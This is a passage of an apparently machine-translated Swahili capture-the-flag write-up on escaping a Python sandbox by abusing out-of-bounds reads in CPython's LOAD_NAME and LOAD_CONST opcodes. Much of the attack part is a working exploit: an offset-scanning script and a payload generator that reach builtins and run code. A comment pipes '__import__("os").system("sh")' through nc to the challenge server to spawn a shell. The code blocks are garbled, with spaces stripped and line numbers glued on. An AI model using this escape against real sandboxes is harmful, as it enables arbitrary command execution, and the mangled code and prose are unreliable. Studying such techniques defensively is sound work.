Tunaweza kutumia kipengele cha OOB read katika opcode ya LOAD_NAME / LOAD_CONST ili kupata alama fulani kwenye kumbukumbu. Hii inamaanisha kutumia hila kama (a, b, c, ... mamia ya alama ..., __getattribute__) if [] else [].__getattribute__(...) ili kupata alama (kama jina la kazi) unayotaka.
Kisha tuandae shambulio letu.
Muhtasari
Msimbo wa chanzo ni mfupi sana, una mstari wa 4 tu!
Unaweza kuingiza nambari yoyote ya Python, na itaandaliwa kuwa kitu cha nambari ya Python. Hata hivyo, co_consts na co_names ya kitu hicho cha nambari zitabadilishwa na kufanywa kuwa tupu kabla ya kutekeleza kitu hicho cha nambari.
Kwa njia hii, matokeo yote yanayohusisha vitu (kama vile nambari, herufi n.k.) au majina (kama vile mabadiliko, kazi) yanaweza kusababisha kosa la kugawanyika mwishoni.
Kusoma Nje ya Kikomo
Kosa la kugawanyika linatokea vipi?
Tuanze na mfano rahisi, [a, b, c] inaweza kuandaliwa kuwa nambari ya chini ifuatayo.
Lakini ikiwa co_names inakuwa tuple tupu? OPCODE ya LOAD_NAME 2 bado inatekelezwa, na jaribu kusoma thamani kutoka kwa anwani ya kumbukumbu ambayo awali ilikuwa. Ndiyo, hii ni "vipengele" vya kusoma nje ya mipaka.
Wazo kuu la suluhisho ni rahisi. Baadhi ya OPCODES katika CPython kama vile LOAD_NAME na LOAD_CONST ni hatari (?) kwa kusoma nje ya mipaka.
Hizi hupata kitu kutoka kwa index oparg kutoka kwa tuple za consts au names (ndio maana co_consts na co_names zinaitwa chini ya pazia). Tunaweza kutaja snippest fupi ifuatayo kuhusu LOAD_CONST kuona CPython inafanya nini wakati inapoprosesia OPCODE ya LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Kwa njia hii tunaweza kutumia kipengele cha OOB kupata "jina" kutoka kumbukumbu isiyojulikana. Ili kuhakikisha jina lina nini na ni kumbukumbu gani, jaribu tu LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Na unaweza kupata kitu kwenye oparg > 700. Unaweza pia jaribu kutumia gdb kuangalia muundo wa kumbukumbu, lakini sidhani itakuwa rahisi zaidi?
Kuzalisha Shambulizi
Marafiki tunapopata vipengele muhimu kwa majina / consts, je tunapata jina / const kutoka kwa kumbukumbu hiyo na kuitumia? Hapa kuna hila kwako:
Tufikirie tunaweza kupata jina la __getattribute__ kutoka kumbukumbu ya 5 (LOAD_NAME 5) na co_names=(), basi fanya mambo yafuatayo:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Tafadhali kumbuka kwamba siyo lazima kuita hii kama __getattribute__, unaweza kuita kwa jina fupi au la kushangaza zaidi.
Unaweza kuelewa sababu nyuma yake kwa kuangalia bytecode yake:
Tambua kuwa LOAD_ATTR pia inapata jina kutoka co_names. Python inapakia majina kutoka kwa offset sawa ikiwa jina ni sawa, kwa hivyo __getattribute__ ya pili bado inapakia kutoka offset=5. Kwa kutumia kipengele hiki, tunaweza kutumia jina lolote tunapotumia jina hilo karibu na kumbukumbu.
Kwa kuzalisha nambari, inapaswa kuwa rahisi:
0: sio [[]]
1: sio []
2: (sio []) + (sio [])
...
Skripti ya Udukuzi
Sikutumia consts kwa sababu ya kikomo cha urefu.
Kwanza hapa kuna skripti ili tuweze kupata hizo offset za majina.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Na yafuatayo ni kwa ajili ya kuzalisha shambulio halisi la Python.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Inafanya mambo yafuatayo, kwa hizo herufi tunazipata kutoka kwa njia ya __dir__: